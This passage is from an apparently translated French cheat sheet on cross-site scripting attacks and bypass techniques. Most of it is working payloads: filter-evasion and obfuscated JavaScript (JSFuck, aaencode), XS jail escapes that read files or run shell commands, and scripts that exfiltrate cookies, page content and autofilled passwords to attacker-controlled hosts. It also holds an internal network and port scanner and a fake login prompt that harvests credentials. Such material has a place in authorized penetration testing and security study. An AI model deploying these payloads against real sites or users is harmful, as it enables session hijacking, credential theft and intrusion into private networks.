Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
Vulnérabilités DOM
Il y a du code JS qui utilise des données contrôlées de manière non sécurisée par un attaquant comme location.href
. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.
En raison de l'extension de l'explication des vulnérabilités DOM, cela a été déplacé vers cette page:
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Là, vous trouverez une explication détaillée de ce que sont les vulnérabilités DOM, comment elles sont provoquées et comment les exploiter.
De plus, n'oubliez pas qu'à la fin du post mentionné, vous pouvez trouver une explication sur les attaques DOM Clobbering.
Amélioration du Self-XSS
Cookie XSS
Si vous pouvez déclencher un XSS en envoyant la charge utile à l'intérieur d'un cookie, c'est généralement un self-XSS. Cependant, si vous trouvez un sous-domaine vulnérable au XSS, vous pourriez abuser de ce XSS pour injecter un cookie dans tout le domaine, réussissant à déclencher le cookie XSS dans le domaine principal ou d'autres sous-domaines (ceux vulnérables au cookie XSS). Pour cela, vous pouvez utiliser l'attaque de cookie tossing :
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} cookie-tossing.md {% endcontent-ref %}
Vous pouvez trouver un grand abus de cette technique dans cet article de blog.
Envoyer votre session à l'admin
Peut-être qu'un utilisateur peut partager son profil avec l'admin et si le self XSS est à l'intérieur du profil de l'utilisateur et que l'admin y accède, il déclenchera la vulnérabilité.
Miroir de session
Si vous trouvez un self XSS et que la page web a un miroir de session pour les administrateurs, par exemple en permettant aux clients de demander de l'aide, afin que l'admin puisse vous aider, il verra ce que vous voyez dans votre session mais depuis sa session.
Vous pourriez faire en sorte que l'administrateur déclenche votre self XSS et vole ses cookies/session.
Autres Bypasses
Unicode normalisé
Vous pourriez vérifier si les valeurs réfléchies sont normalisées en unicode sur le serveur (ou côté client) et abuser de cette fonctionnalité pour contourner les protections. Trouvez un exemple ici.
Contournement du drapeau PHP FILTER_VALIDATE_EMAIL
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
En raison de l'attribution de masse RoR, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.
Exemple de formulaire (de ce rapport), si vous envoyez la charge utile :
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
La paire "Key","Value" sera renvoyée comme ceci :
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Alors, l'attribut onfocus sera inséré et le XSS se produira.
Combinaisons spéciales
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS avec injection d'en-tête dans une réponse 302
Si vous constatez que vous pouvez injecter des en-têtes dans une réponse de redirection 302, vous pourriez essayer de faire exécuter du JavaScript arbitraire par le navigateur. Ce n'est pas trivial car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code d'état de la réponse HTTP est 302, donc juste une charge utile de cross-site scripting est inutile.
Dans ce rapport et celui-ci, vous pouvez lire comment vous pouvez tester plusieurs protocoles à l'intérieur de l'en-tête Location et voir si l'un d'eux permet au navigateur d'inspecter et d'exécuter la charge utile XSS à l'intérieur du corps.
Protocoles connus précédemment : mailto://
, //x:1/
, ws://
, wss://
, en-tête Location vide, resource://
.
Seulement des lettres, des chiffres et des points
Si vous êtes capable d'indiquer le callback que JavaScript va exécuter limité à ces caractères. Lisez cette section de ce post pour découvrir comment abuser de ce comportement.
Types de contenu <script>
valides pour XSS
(De ici) Si vous essayez de charger un script avec un type de contenu tel que application/octet-stream
, Chrome renverra l'erreur suivante :
Refusé d'exécuter le script de ‘https://uploader.c.hc.lc/uploads/xxx' car son type MIME (‘application/octet-stream’) n'est pas exécutable, et la vérification stricte des types MIME est activée.
Les seuls Content-Type qui permettront à Chrome d'exécuter un script chargé sont ceux à l'intérieur de la constante kSupportedJavascriptTypes
de https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Types de script pour XSS
(De ici) Alors, quels types pourraient être indiqués pour charger un script ?
<script type="???"></script>
La réponse est :
- module (par défaut, rien à expliquer)
- webbundle : Web Bundles est une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS…) dans un fichier
.wbn
.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Permet d'améliorer la syntaxe d'importation
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
Ce comportement a été utilisé dans ce rapport pour remapper une bibliothèque à eval pour en abuser, cela peut déclencher des XSS.
- speculationrules: Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
Types de contenu Web pour XSS
(De ici) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? pas dans la liste mais je pense avoir vu cela dans un CTF)
- application/rss+xml (désactivé)
- application/atom+xml (désactivé)
Dans d'autres navigateurs, d'autres Content-Types
peuvent être utilisés pour exécuter du JS arbitraire, vérifiez : https://github.com/BlackFan/content-type-research/blob/master/XSS.md
Type de contenu xml
Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un espace de noms et d'exécuter du JS arbitraire :
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Modèles de Remplacement Spéciaux
Lorsque quelque chose comme "some {{template}} data".replace("{{template}}", <user_input>)
est utilisé. L'attaquant pourrait utiliser des remplacements de chaînes spéciaux pour essayer de contourner certaines protections : "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Par exemple, dans ce rapport, cela a été utilisé pour échapper à une chaîne JSON à l'intérieur d'un script et exécuter du code arbitraire.
Cache Chrome vers XSS
{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}
Évasion des Prisons XS
Si vous n'avez qu'un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes XSJail :
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Si tout est indéfini avant d'exécuter du code non fiable (comme dans ce rapport), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
- En utilisant import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
- Accéder à
require
indirectement
Selon ceci, les modules sont encapsulés par Node.js dans une fonction, comme ceci :
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
Par conséquent, si à partir de ce module nous pouvons appeler une autre fonction, il est possible d'utiliser arguments.callee.caller.arguments[1]
depuis cette fonction pour accéder à require
:
{% code overflow="wrap" %}
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
{% endcode %}
De manière similaire à l'exemple précédent, il est possible d'utiliser des gestionnaires d'erreurs pour accéder au wrapper du module et obtenir la fonction require
:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Différentes obfuscations sur une page : https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://ooze.ninja/javascript/poisonjs
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Plus de JSFuck sophistiqué : https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}
XSS charges utiles courantes
Plusieurs charges utiles en 1
{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}
Piège Iframe
Faites en sorte que l'utilisateur navigue sur la page sans quitter un iframe et volez ses actions (y compris les informations envoyées dans les formulaires) :
{% content-ref url="../iframe-traps.md" %} iframe-traps.md {% endcontent-ref %}
Récupérer les Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
{% hint style="info" %} Vous ne pourrez pas accéder aux cookies depuis JavaScript si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez quelques moyens de contourner cette protection si vous avez la chance. {% endhint %}
Voler le contenu de la page
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Trouver des IP internes
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Scanner de ports (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Scanner de ports (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Courts courtes indiquent un port répondant Des temps plus longs indiquent aucune réponse.
Consultez la liste des ports interdits dans Chrome ici et dans Firefox ici.
Boîte pour demander des identifiants
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Capture des mots de passe auto-remplis
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Lorsque des données sont introduites dans le champ de mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et n'écrit rien, les identifiants seront exfiltrés.
Keylogger
Juste en cherchant sur github, j'ai trouvé quelques-uns différents :
- https://github.com/JohnHoder/Javascript-Keylogger
